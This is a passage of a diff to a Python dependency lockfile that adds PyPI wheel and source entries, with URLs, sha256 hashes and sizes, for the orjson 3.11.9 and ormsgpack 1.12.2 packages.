"https://files.pythonhosted.org/packages/ab/86/1c3a47df3bc8191ea9ac51603bbb872a95167a364320c269f2557911f406/orjson-3.11.9-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:26a473dbb4162108b27901492546f83c76fdcea3d0eadff00ae7a07e18dcce09", size = 132106, upload-time = "2026-05-06T15:10:00.798Z" }, + { url = "https://files.pythonhosted.org/packages/d7/cf/b33b5f3e695ae7d63feef9d915c37cc3b8f465493dcd4f8e0b4c697a2366/orjson-3.11.9-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:011382e2a60fda9d46f1cdee31068cfc52ffe952b587d683ec0463002802a0f4", size = 127864, upload-time = "2026-05-06T15:10:02.15Z" }, + { url = "https://files.pythonhosted.org/packages/31/6a/6cf69385a58208024fcb8c014e2141b8ce838aba6492b589f8acfff97fab/orjson-3.11.9-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c2d3dc759490128c5c1711a53eeaa8ee1d437fd0038ffd2b6008abf46db3f882", size = 135213, upload-time = "2026-05-06T15:10:03.515Z" }, + { url = "https://files.pythonhosted.org/packages/e8/f8/0b1bd3e8f2efcdd376af5c8cfd79eaf13f018080c0089c80ebd724e3c7fb/orjson-3.11.9-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d8ea516b3726d190e1b4297e6f4e7a8650347ae053868a18163b4dd3641d1fff", size = 145994, upload-time = "2026-05-06T15:10:05.083Z" }, + { url = "https://files.pythonhosted.org/packages/f3/59/dab79f61044c529d2c81aecdc589b1f833a1c8dec11ba3b1c2498a02ca7e/orjson-3.11.9-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:380cdce7ba24989af81d0a7013d0aaec5d0e2a21734c0e2681b1bc4f141957fe", size = 132744, upload-time = "2026-05-06T15:10:06.853Z" }, + { url = "https://files.pythonhosted.org/packages/0e/a4/82b7a2fe5d8a67a59ed831b24d59a3d46ea7d207b66e1602d376541d94a6/orjson-3.11.9-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:be4fa4f0af7fa18951f7ab3fc2148e223af211bf03f59e1c6034ec3f97f21d61", size = 134014, upload-time = "2026-05-06T15:10:08.213Z" }, + { url = "https://files.pythonhosted.org/packages/50/c7/375e83a76851b73b2e39f3bcf0e5a19e2b89bad13e5bca97d0b293d27f24/orjson-3.11.9-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:a8f5f8bc7ce7d59f08d9f99fa510c06496164a24cb5f3d34537dbd9ca30132e2", size = 141509, upload-time = "2026-05-06T15:10:09.595Z" }, + { url = "https://files.pythonhosted.org/packages/7f/7c/49d5d82a3d3097f641f094f552131f1e2723b0b8cb0fa2874ab65ecfffa6/orjson-3.11.9-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:4d7fde5501b944f83b3e665e1b31343ff6e154b15560a16b7130ea1e594a4206", size = 415127, upload-time = "2026-05-06T15:10:11.049Z" }, + { url = "https://files.pythonhosted.org/packages/3a/dc/7446c538590d55f455647e5f3c61fc33f7108714e7afcffa6a2a033f8350/orjson-3.11.9-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:cde1a448023ba7d5bb4c01c5afb48894380b5e4956e0627266526587ef4e535f", size = 148025, upload-time = "2026-05-06T15:10:12.842Z" }, + { url = "https://files.pythonhosted.org/packages/df/e5/4d2d8af06f788329b4f78f8cc3679bb395392fcaa1e4d8d3c33e85308fa4/orjson-3.11.9-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:71e63adb0e1f1ed5d9e168f50a91ceb93ae6420731d222dc7da5c69409aa47aa", size = 136943, upload-time = "2026-05-06T15:10:14.405Z" }, + { url = "https://files.pythonhosted.org/packages/06/69/850264ccf6d80f6b174620d30a87f65c9b1490aba33fe6b62798e618cad3/orjson-3.11.9-cp312-cp312-win32.whl", hash = "sha256:2d057a602cdd19a0ad680417527c45b6961a095081c0f46fe0e03e304aac6470", size = 131606, upload-time = "2026-05-06T15:10:15.791Z" }, + { url = "https://files.pythonhosted.org/packages/b9/d5/973a43fc9c55e20f2051e9830997649f669be0cb3ca52192087c0143f118/orjson-3.11.9-cp312-cp312-win_amd64.whl", hash = "sha256:59e403b1cc5a676da8eaf31f6254801b7341b3e29efa85f92b48d272637e77be", size = 127101, upload-time = "2026-05-06T15:10:17.129Z" }, + { url = "https://files.pythonhosted.org/packages/fe/ae/495470f0e4a18f73fa10b7f6b84b464ec4cc5291c4e0c7c2a6c400bef006/orjson-3.11.9-cp312-cp312-win_arm64.whl", hash = "sha256:9af678d6488357948f1f84c6cd1c1d397c014e1ae2f98ae082a44eb48f602624", size = 126736, upload-time = "2026-05-06T15:10:18.645Z" }, + { url = "https://files.pythonhosted.org/packages/32/33/93fcc25907235c344ae73122f8a4e01d2d393ef062b4af7d2e2487a32c37/orjson-3.11.9-cp313-cp313-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:4bab1b2d6141fe7b32ae71dac905666ece4f94936efbfb13d55bb7739a3a6021", size = 228458, upload-time = "2026-05-06T15:10:20.079Z" }, + { url = "https://files.pythonhosted.org/packages/8f/27/b1e6dadb3c080313c03fdd8067b85e6a0460c7d8d6a1c3984ef77b904e4d/orjson-3.11.9-cp313-cp313-macosx_15_0_arm64.whl", hash = "sha256:844417969855fc7a41be124aafe83dc424592a7f77cd4501900c67307122b92c", size = 128368, upload-time = "2026-05-06T15:10:21.549Z" }, + { url = "https://files.pythonhosted.org/packages/21/0f/c9ede0bf052f6b4051e64a7d4fa91b725cccf8321a6a786e86eb03519f00/orjson-3.11.9-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ffe02797b5e9f3a9d8292ddcd289b474ad13e81ad83cd1891a240811f1d2cb81", size = 132070, upload-time = "2026-05-06T15:10:23.371Z" }, + { url = "https://files.pythonhosted.org/packages/fd/26/d398e28048dc18205bbe812f2c88cb9b40313db2470778e25964796458fe/orjson-3.11.9-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:0e4eed3b200023042814d2fc8a5d2e880f13b52e1ed2485e83da4f3962f7dc1a", size = 127892, upload-time = "2026-05-06T15:10:24.714Z" }, + { url = "https://files.pythonhosted.org/packages/66/60/52b0054c4c700d5aa7fc5b7ca96917400d8f061307778578e67a10e25852/orjson-3.11.9-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8aff7da9952a5ad1cef8e68017724d96c7b9a66e99e91d6252e1b133d67a7b10", size = 135217, upload-time = "2026-05-06T15:10:26.084Z" }, + { url = "https://files.pythonhosted.org/packages/d5/97/1e3dc2b2a28b7b2528f403d2fc1d79ec5f39af3bc143ab65d3ec26426385/orjson-3.11.9-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4d4e98d6f3b8afed8bc8cd9718ec0cdf46661826beefb53fe8eafb37f2bf0362", size = 145980, upload-time = "2026-05-06T15:10:28.062Z" }, + { url = "https://files.pythonhosted.org/packages/fc/39/31fbfe7850f2de32dee7e7e5c09f26d403ab01e440ac96001c6b01ad3c99/orjson-3.11.9-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:3a81d52442a7c99b3662333235b3adf96a1715864658b35bb797212be7bddb97", size = 132738, upload-time = "2026-05-06T15:10:29.727Z" }, + { url = "https://files.pythonhosted.org/packages/a1/08/dca0082dd2a194acb93e5457e73455388e2e2ca464a2672449a9ddbb679d/orjson-3.11.9-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4e39364e726a8fff737309aff059ff67d8a8c8d5b677be7bb49a8b3e84b7e218", size = 134033, upload-time = "2026-05-06T15:10:31.152Z" }, + { url = "https://files.pythonhosted.org/packages/11/d4/5bdb0626801230139987385554c5d4c42255218ac906525bf4347f22cd95/orjson-3.11.9-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:4fd66214623f1b17501df9f0543bef0b833979ab5b6ded1e1d123222866aa8c9", size = 141492, upload-time = "2026-05-06T15:10:32.641Z" }, + { url = "https://files.pythonhosted.org/packages/fa/88/a21fb53b3ede6703aede6dce4710ed4111e5b201cfa6bbff5e544f9d47d7/orjson-3.11.9-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:8ecc30f10465fa1e0ce13fd01d9e22c316e5053a719a8d915d4545a09a5ff677", size = 415087, upload-time = "2026-05-06T15:10:34.438Z" }, + { url = "https://files.pythonhosted.org/packages/3d/57/1b30daf70f0d8180e9a73cefbfbdd99e4bf19eb020466502b01fba7e0e50/orjson-3.11.9-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:97db4c94a7db398a5bd636273324f0b3fd58b350bbbac8bb380ceb825a9b40f4", size = 148031, upload-time = "2026-05-06T15:10:36.358Z" }, + { url = "https://files.pythonhosted.org/packages/04/83/45fbb6d962e260807f99441db9613cee868ceda4baceda59b3720a563f97/orjson-3.11.9-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:9f78cf8fec5bd627f4082b8dfeac7871b43d7f3274904492a43dab39f18a19a0", size = 136915, upload-time = "2026-05-06T15:10:38.013Z" }, + { url = "https://files.pythonhosted.org/packages/5f/cc/2d10025f9056d376e4127ec05a5808b218d46f035fdc08178a5411b34250/orjson-3.11.9-cp313-cp313-win32.whl", hash = "sha256:d4087e5c0209a0a8efe4de3303c234b9c44d1174161dcd851e8eea07c7560b32", size = 131613, upload-time = "2026-05-06T15:10:39.569Z" }, + { url = "https://files.pythonhosted.org/packages/67/bd/2775ff28bfe883b9aa1ff348300542eb2ef1ee18d8ae0e3a49846817a865/orjson-3.11.9-cp313-cp313-win_amd64.whl", hash = "sha256:051b102c93b4f634e89f3866b07b9a9a98915ada541f4ec30f177067b2694979", size = 127086, upload-time = "2026-05-06T15:10:41.262Z" }, + { url = "https://files.pythonhosted.org/packages/91/2b/d26799e580939e32a7da9a39531bc9e58e15ca32ffaa6a8cb3e9bb0d22cd/orjson-3.11.9-cp313-cp313-win_arm64.whl", hash = "sha256:cce9127885941bd28f080cecf1f1d288336b7e0d812c345b08be88b572796254", size = 126696, upload-time = "2026-05-06T15:10:42.651Z" }, + { url = "https://files.pythonhosted.org/packages/8e/eb/5da01e356015aee6ecfa1187ced87aef51364e306f5e695dd52719bf0e78/orjson-3.11.9-cp314-cp314-macosx_10_15_x86_64.macosx_11_0_arm64.macosx_10_15_universal2.whl", hash = "sha256:b6ef1979adc4bc243523f1a2ba91418030a8e29b0a99cbe7e0e2d6807d4dce6e", size = 228465, upload-time = "2026-05-06T15:10:44.097Z" }, + { url = "https://files.pythonhosted.org/packages/64/62/3e0e0c14c957133bcd855395c62b55ed4e3b0af23ffea11b032cb1dcbdb1/orjson-3.11.9-cp314-cp314-macosx_15_0_arm64.whl", hash = "sha256:f36b7f32c7c0db4a719f1fc5824db4a9c6f8bd1a354debb91faf26ebf3a4c71e", size = 128364, upload-time = "2026-05-06T15:10:45.839Z" }, + { url = "https://files.pythonhosted.org/packages/5a/5a/07d8aa117211a8ed7630bda80c8c0b14d04e0f8dcf99bcf49656e4a710eb/orjson-3.11.9-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:08f4d8ebb44925c794e535b2bebc507cebf32209df81de22ae285fb0d8d66de0", size = 132063, upload-time = "2026-05-06T15:10:47.267Z" }, + { url = "https://files.pythonhosted.org/packages/d6/ec/4acaf21483e18aa945be74a474c74b434f284b549f275a0a39b9f98956e9/orjson-3.11.9-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:6cc7923789694fd58f001cbcac7e47abc13af4d560ebbfcf3b41a8b1a0748124", size = 122356, upload-time = "2026-05-06T15:10:48.765Z" }, + { url = "https://files.pythonhosted.org/packages/13/d8/5f0555e7638801323b7a75850f92e7dfa891bc84fe27a1ba4449170d1200/orjson-3.11.9-cp314-cp314-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ea5c46eb2d3af39e806b986f4b09d5c2706a1f5afde3cbf7544ce6616127173c", size = 129592, upload-time = "2026-05-06T15:10:50.13Z" }, + { url = "https://files.pythonhosted.org/packages/b6/30/ed9860412a3603ceb3c5955bfd72d28b9d0e7ba6ed81add14f83d7114236/orjson-3.11.9-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f5d89a2ed90731df3be64bab0aa44f78bff39fdc9d71c291f4a8023aa46425b7", size = 140491, upload-time = "2026-05-06T15:10:51.582Z" }, + { url = "https://files.pythonhosted.org/packages/d0/17/adc514dea7ac7c505527febf884934b815d34f0c7b8693c1a8b39c5c4a57/orjson-3.11.9-cp314-cp314-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:25e4aed0312d292c09f61af25bba34e0b2c88546041472b09088c39a4d828af1", size = 127309, upload-time = "2026-05-06T15:10:53.329Z" }, + { url = "https://files.pythonhosted.org/packages/76/3e/c0b690253f0b82d86e99949af13533363acfb5432ecb5d53dd5b3bce9c34/orjson-3.11.9-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:aaea64f3f467d22e70eeed68bdccb3bc4f83f650446c4a03c59f2cba28a108db", size = 134030, upload-time = "2026-05-06T15:10:54.988Z" }, + { url = "https://files.pythonhosted.org/packages/c1/7a/bc82a0bb25e9faaf92dc4d9ef002732efc09737706af83e346788641d4a7/orjson-3.11.9-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:a028425d1b440c5d92a6be1e1a020739dfe67ea87d96c6dbe828c1b30041728b", size = 141482, upload-time = "2026-05-06T15:10:56.663Z" }, + { url = "https://files.pythonhosted.org/packages/01/55/e69188b939f77d5d32a9833745ace31ea5ccae3ab613a1ec185d3cd2c4fb/orjson-3.11.9-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:5b192c6cf397e4455b11523c5cf2b18ed084c1bbd61b6c0926344d2129481972", size = 415178, upload-time = "2026-05-06T15:10:58.446Z" }, + { url = "https://files.pythonhosted.org/packages/2e/1a/b8a5a7ac527e80b9cb11d51e3f6689b709279183264b9ec5c7bc680bb8b5/orjson-3.11.9-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:ea407d4ccf5891d667d045fecae97a7a1e5e87b3b97f97ae1803c2e741130be0", size = 148089, upload-time = "2026-05-06T15:11:00.441Z" }, + { url = "https://files.pythonhosted.org/packages/97/4e/00503f64204bf859b37213a63927028f30fb6268cd8677fb0a5ad48155e1/orjson-3.11.9-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:5f63aaf97afd9f6dec5b1a68e1b8da12bfccb4cb9a9a65c3e0b6c847849e7586", size = 136921, upload-time = "2026-05-06T15:11:02.176Z" }, + { url = "https://files.pythonhosted.org/packages/0d/ba/a23b82a0a8d0ed7bed4e5f5035aae751cad4ff6a1e8d2ecd14d8860f5929/orjson-3.11.9-cp314-cp314-win32.whl", hash = "sha256:e30ab17845bb9fa54ccf67fa4f9f5282652d54faa6d17452f47d0f369d038673", size = 131638, upload-time = "2026-05-06T15:11:03.696Z" }, + { url = "https://files.pythonhosted.org/packages/f3/c3/0c6798456bade745c75c452342dabacce5798196483e77e643be1f53877d/orjson-3.11.9-cp314-cp314-win_amd64.whl", hash = "sha256:32ef5f4283a3be81913947d19608eacb7c6608026851123790cd9cc8982af34b", size = 127078, upload-time = "2026-05-06T15:11:05.123Z" }, + { url = "https://files.pythonhosted.org/packages/16/21/5a3f1e8913103b703a436a5664238e5b965ec392b555fe68943ea3691e6b/orjson-3.11.9-cp314-cp314-win_arm64.whl", hash = "sha256:eebdbdeef0094e4f5aefa20dcd4eb2368ab5e7a3b4edea27f1e7b2892e009cf9", size = 126687, upload-time = "2026-05-06T15:11:06.602Z" }, +] + +[[package]] +name = "ormsgpack" +version = "1.12.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/12/0c/f1761e21486942ab9bb6feaebc610fa074f7c5e496e6962dea5873348077/ormsgpack-1.12.2.tar.gz", hash = "sha256:944a2233640273bee67521795a73cf1e959538e0dfb7ac635505010455e53b33", size = 39031, upload-time = "2026-01-18T20:55:28.023Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/93/fa/a91f70829ebccf6387c4946e0a1a109f6ba0d6a28d65f628bedfad94b890/ormsgpack-1.12.2-cp310-cp310-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:c1429217f8f4d7fcb053523bbbac6bed5e981af0b85ba616e6df7cce53c19657", size = 378262, upload-time = "2026-01-18T20:55:22.284Z" }, + { url = "https://files.pythonhosted.org/packages/5f/62/3698a9a0c487252b5c6a91926e5654e79e665708ea61f67a8bdeceb022bf/ormsgpack-1.12.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5f13034dc6c84a6280c6c33db7ac420253852ea233fc3ee27c8875f8dd651163", size = 203034, upload-time = "2026-01-18T20:55:53.324Z" }, + { url = "https://files.pythonhosted.org/packages/66/3a/f716f64edc4aec2744e817660b317e2f9bb8de372338a95a96198efa1ac1/ormsgpack-1.12.2-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:59f5da97000c12bc2d50e988bdc8576b21f6ab4e608489879d35b2c07a8ab51a", size = 210538, upload-time = "2026-01-18T20:55:20.097Z" }, + { url = "https://files.pythonhosted.org/packages/72/30/a436be9ce27d693d4e19fa94900028067133779f09fc45776db3f689c822/ormsgpack-1.12.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9e4459c3f27066beadb2b81ea48a076a417aafffff7df1d3c11c519190ed44f2", size = 212401, upload-time = "2026-01-18T20:55:46.447Z" }, + { url = "https://files.pythonhosted.org/packages/10/c5/cde98300fd33fee84ca71de4751b19aeeca675f0cf3c0ec4b043f40f3b76/ormsgpack-1.12.2-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:7a1c460655d7288407ffa09065e322a7231997c0d62ce914bf3a96ad2dc6dedd", size = 387080, upload-time = "2026-01-18T20:56:00.884Z" }, + { url = "https://files.pythonhosted.org/packages/6a/31/30bf445ef827546747c10889dd254b3d84f92b591300efe4979d792f4c41/ormsgpack-1.12.2-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:458e4568be13d311ef7d8877275e7ccbe06c0e01b39baaac874caaa0f46d826c", size = 482346, upload-time = "2026-01-18T20:55:39.831Z" }, + { url = "https://files.pythonhosted.org/packages/2e/f5/e1745ddf4fa246c921b5ca253636c4c700ff768d78032f79171289159f6e/ormsgpack-1.12.2-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:8cde5eaa6c6cbc8622db71e4a23de56828e3d876aeb6460ffbcb5b8aff91093b", size = 425178, upload-time = "2026-01-18T20:55:27.106Z" }, + { url = "https://files.pythonhosted.org/packages/8d/a2/e6532ed7716aed03dede8df2d0d0d4150710c2122647d94b474147ccd891/ormsgpack-1.12.2-cp310-cp310-win_amd64.whl", hash = "sha256:dc7a33be14c347893edbb1ceda89afbf14c467d593a5ee92c11de4f1666b4d4f", size = 117183, upload-time = "2026-01-18T20:55:55.52Z" }, + { url = "https://files.pythonhosted.org/packages/4b/08/8b68f24b18e69d92238aa8f258218e6dfeacf4381d9d07ab8df303f524a9/ormsgpack-1.12.2-cp311-cp311-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:bd5f4bf04c37888e864f08e740c5a573c4017f6fd6e99fa944c5c935fabf2dd9", size = 378266, upload-time = "2026-01-18T20:55:59.876Z" }, + { url = "https://files.pythonhosted.org/packages/0d/24/29fc13044ecb7c153523ae0a1972269fcd613650d1fa1a9cec1044c6b666/ormsgpack-1.12.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:34d5b28b3570e9fed9a5a76528fc7230c3c76333bc214798958e58e9b79cc18a", size = 203035, upload-time = "2026-01-18T20:55:30.59Z" }, + { url = "https://files.pythonhosted.org/packages/ad/c2/00169fb25dd8f9213f5e8a549dfb73e4d592009ebc85fbbcd3e1dcac575b/ormsgpack-1.12.2-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:3708693412c28f3538fb5a65da93787b6bbab3484f6bc6e935bfb77a62400ae5", size = 210539, upload-time = "2026-01-18T20:55:48.569Z" }, + { url = "https://files.pythonhosted.org/packages/1b/33/543627f323ff3c73091f51d6a20db28a1a33531af30873ea90c5ac95a9b5/ormsgpack-1.12.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:43013a3f3e2e902e1d05e72c0f1aeb5bedbb8e09240b51e26792a3c89267e181", size = 212401, upload-time = "2026-01-18T20:56:10.101Z" }, + { url = "https://files.pythonhosted.org/packages/e8/5d/f70e2c3da414f46186659d24745483757bcc9adccb481a6eb93e2b729301/ormsgpack-1.12.2-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:7c8b1667a72cbba74f0ae7ecf3105a5e01304620ed14528b2cb4320679d2869b", size = 387082, upload-time = "2026-01-18T20:56:12.047Z" }, + { url = "https://files.pythonhosted.org/packages/c0/d6/06e8dc920c7903e051f30934d874d4afccc9bb1c09dcaf0bc03a7de4b343/ormsgpack-1.12.2-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:df6961442140193e517303d0b5d7bc2e20e69a879c2d774316125350c4a76b92", size = 482346, upload-time = "2026-01-18T20:56:05.152Z" }, + { url = "https://files.pythonhosted.org/packages/66/c4/f337ac0905eed9c393ef990c54565cd33644918e0a8031fe48c098c71dbf/ormsgpack-1.12.2-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:c6a4c34ddef109647c769d69be65fa1de7a6022b02ad45546a69b3216573eb4a", size = 425181, upload-time = "2026-01-18T20:55:37.83Z" }, + { url = "https://files.pythonhosted.org/packages/78/29/6d5758fabef3babdf4bbbc453738cc7de9cd3334e4c38dd5737e27b85653/ormsgpack-1.12.2-cp311-cp311-win_amd64.whl", hash = "sha256:73670ed0375ecc303858e3613f407628dd1fca18fe6ac57b7b7ce66cc7bb006c", size = 117182, upload-time = "2026-01-18T20:55:31.472Z" }, + { url = "https://files.pythonhosted.org/packages/c4/57/17a15549233c37e7fd054c48fe9207492e06b026dbd872b826a0b5f833b6/ormsgpack-1.12.2-cp311-cp311-win_arm64.whl", hash = "sha256:c2be829954434e33601ae5da328cccce3266b098927ca7a30246a0baec2ce7bd", size = 111464, upload-time = "2026-01-18T20:55:38.811Z" }, + { url = "https://files.pythonhosted.org/packages/4c/36/16c4b1921c308a92cef3bf6663226ae283395aa0ff6e154f925c32e91ff5/ormsgpack-1.12.2-cp312-cp312-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:7a29d09b64b9694b588ff2f80e9826bdceb3a2b91523c5beae1fab27d5c940e7", size = 378618, upload-time = "2026-01-18T20:55:50.835Z" }, + { url = "https://files.pythonhosted.org/packages/c0/68/468de634079615abf66ed13bb5c34ff71da237213f29294363beeeca5306/ormsgpack-1.12.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0b39e629fd2e1c5b2f46f99778450b59454d1f901bc507963168985e79f09c5d", size = 203186, upload-time = "2026-01-18T20:56:11.163Z" }, + { url = "https://files.pythonhosted.org/packages/73/a9/d756e01961442688b7939bacd87ce13bfad7d26ce24f910f6028178b2cc8/ormsgpack-1.12.2-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:958dcb270d30a7cb633a45ee62b9444433fa571a752d2ca484efdac07480876e", size = 210738, upload-time = "2026-01-18T20:56:09.181Z" }, + { url = "https://files.pythonhosted.org/packages/7b/ba/795b1036888542c9113269a3f5690ab53dd2258c6fb17676ac4bd44fcf94/ormsgpack-1.12.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:58d379d72b6c5e964851c77cfedfb386e474adee4fd39791c2c5d9efb53505cc", size = 212569, upload-time = "2026-01-18T20:56:06.135Z" }, + { url = "https://files.pythonhosted.org/packages/6c/aa/bff73c57497b9e0cba8837c7e4bcab584b1a6dbc91a5dd5526784a5030c8/ormsgpack-1.12.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:8463a3fc5f09832e67bdb0e2fda6d518dc4281b133166146a67f54c08496442e", size = 387166, upload-time = "2026-01-18T20:55:36.738Z" }, + { url = "https://files.pythonhosted.org/packages/d3/cf/f8283cba44bcb7b14f97b6274d449db276b3a86589bdb363169b51bc12de/ormsgpack-1.12.2-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:eddffb77eff0bad4e67547d67a130604e7e2dfbb7b0cde0796045be4090f35c6", size = 482498, upload-time = "2026-01-18T20:55:29.626Z" }, + { url = "https://files.pythonhosted.org/packages/05/be/71e37b852d723dfcbe952ad04178c030df60d6b78eba26bfd14c9a40575e/ormsgpack-1.12.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:fcd55e5f6ba0dbce624942adf9f152062135f991a0126064889f68eb850de0dd", size = 425518, upload-time = "2026-01-18T20:55:49.556Z" }, + { url = "https://files.pythonhosted.org/packages/7a/0c/9803aa883d18c7ef197213cd2cbf73ba76472a11fe100fb7dab2884edf48/ormsgpack-1.12.2-cp312-cp312-win_amd64.whl", hash = "sha256:d024b40828f1dde5654faebd0d824f9cc29ad46891f626272dd5bfd7af2333a4", size = 117462, upload-time = "2026-01-18T20:55:47.726Z" }, + { url = "https://files.pythonhosted.org/packages/c8/9e/029e898298b2cc662f10d7a15652a53e3b525b1e7f07e21fef8536a09bb8/ormsgpack-1.12.2-cp312-cp312-win_arm64.whl", hash = "sha256:da538c542bac7d1c8f3f2a937863dba36f013108ce63e55745941dda4b75dbb6", size = 111559, upload-time = "2026-01-18T20:55:54.273Z" }, + { url = "https://files.pythonhosted.org/packages/eb/29/bb0eba3288c0449efbb013e9c6f58aea79cf5cb9ee1921f8865f04c1a9d7/ormsgpack-1.12.2-cp313-cp313-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:5ea60cb5f210b1cfbad8c002948d73447508e629ec375acb82910e3efa8ff355", size = 378661, upload-time = "2026-01-18T20:55:57.765Z" }, + { url = "https://files.pythonhosted.org/packages/6e/31/5efa31346affdac489acade2926989e019e8ca98129658a183e3add7af5e/ormsgpack-1.12.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f3601f19afdbea273ed70b06495e5794606a8b690a568d6c996a90d7255e51c1", size = 203194, upload-time = "2026-01-18T20:56:08.252Z" }, + { url = "https://files.pythonhosted.org/packages/eb/56/d0087278beef833187e0167f8527235ebe6f6ffc2a143e9de12a98b1ce87/ormsgpack-1.12.2-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:29a9f17a3dac6054c0dce7925e0f4995c727f7c41859adf9b5572180f640d172", size = 210778, upload-time = "2026-01-18T20:55:17.694Z" }, + { url = "https://files.pythonhosted.org/packages/1c/a2/072343e1413d9443e5a252a8eb591c2d5b1bffbe5e7bfc78c069361b92eb/ormsgpack-1.12.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:39c1bd2092880e413902910388be8715f70b9f15f20779d44e673033a6146f2d", size = 212592, upload-time = "2026-01-18T20:55:32.747Z" }, + { url = "https://files.pythonhosted.org/packages/a2/8b/a0da3b98a91d41187a63b02dda14267eefc2a74fcb43cc2701066cf1510e/ormsgpack-1.12.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:50b7249244382209877deedeee838aef1542f3d0fc28b8fe71ca9d7e1896a0d7", size = 387164, upload-time = "2026-01-18T20:55:40.853Z" }, + { url = "https://files.pythonhosted.org/packages/19/bb/6d226bc4cf9fc20d8eb1d976d027a3f7c3491e8f08289a2e76abe96a65f3/ormsgpack-1.12.2-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:5af04800d844451cf102a59c74a841324868d3f1625c296a06cc655c542a6685", size = 482516, upload-time = "2026-01-18T20:55:42.033Z" }, + { url = "https://files.pythonhosted.org/packages/fb/f1/bb2c7223398543dedb3dbf8bb93aaa737b387de61c5feaad6f908841b782/ormsgpack-1.12.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:cec70477d4371cd524534cd16472d8b9cc187e0e3043a8790545a9a9b296c258", size = 425539, upload-time = "2026-01-18T20:55:24.727Z" }, + { url = "https://files.pythonhosted.org/packages/7b/e8/0fb45f57a2ada1fed374f7494c8cd55e2f88ccd0ab0a669aa3468716bf5f/ormsgpack-1.12.2-cp313-cp313-win_amd64.whl", hash = "sha256:21f4276caca5c03a818041d637e4019bc84f9d6ca8baa5ea03e5cc8bf56140e9", size = 117459, upload-time = "2026-01-18T20:55:56.876Z" }, + { url = "https://files.pythonhosted.org/packages/7a/d4/0cfeea1e960d550a131001a7f38a5132c7ae3ebde4c82af1f364ccc5d904/ormsgpack-1.12.2-cp313-cp313-win_arm64.whl", hash = "sha256:baca4b6773d20a82e36d6fd25f341064244f9f86a13dead95dd7d7f996f51709", size = 111577, upload-time = "2026-01-18T20:55:43.605Z" }, + { url = 